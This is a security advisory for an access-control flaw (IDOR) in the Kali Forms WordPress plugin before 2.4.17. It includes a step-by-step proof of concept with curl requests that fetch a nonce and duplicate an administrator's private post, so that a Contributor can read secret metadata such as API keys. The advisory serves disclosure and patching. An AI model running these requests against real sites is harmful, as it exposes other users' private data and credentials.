Kali Forms < 2.4.17 – Contributor+ Arbitrary Post Metadata Disclosure via IDOR | CVE 2026-11580

Description

The plugin does not perform a per-object capability check in its post-duplication AJAX action, allowing users with Contributor-level access or above to duplicate any post (regardless of owner, post type, or status) into a published post they own and read its private post metadata, including secrets stored by other plugins.

Proof of Concept

Confirmed on Kali Forms 2.4.11. Attacker: a Contributor (user id 6). Target: an administrator-owned PRIVATE post (id 4) carrying custom fields (secret_api_key, _private_note).

1. Log in as the Contributor and obtain a session-bound nonce. The plugin exposes it on any front-end page containing a Kali form, and via its get_js_var AJAX action:
curl -s -b contrib.txt -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  --data "action=kaliforms_get_js_var&data[formId]=1&data[key]=ajax_nonce"
-> {"success":true,"data":"<NONCE>"}

2. Duplicate the victim post and assign authorship to yourself:
curl -s -b contrib.txt "https://TARGET/wp-admin/admin-ajax.php" \
  --data "action=kaliforms_duplicate_post" \
  --data "args[nonce]=<NONCE>" \
  --data "args[id]=4" \
  --data "args[userId]=6"
-> {"success":true,"newId":6}

3. The new post (id 6) is created with post_status=publish, post_author=6 (the attacker), titled "ADMIN SECRET POST (duplicate)", and carries every custom field copied from the victim post:
   secret_api_key = SK-LIVE-DEADBEEF-VICTIM-9981
   _private_note  = victim-only-meta-abc

The Contributor has no legitimate access to the source post (current_user_can('edit_post', 4) returns false) yet now owns a published copy of its private metadata. Any post type can be targeted, so private posts/pages and other plugins' post-meta secrets across the whole site are readable this way.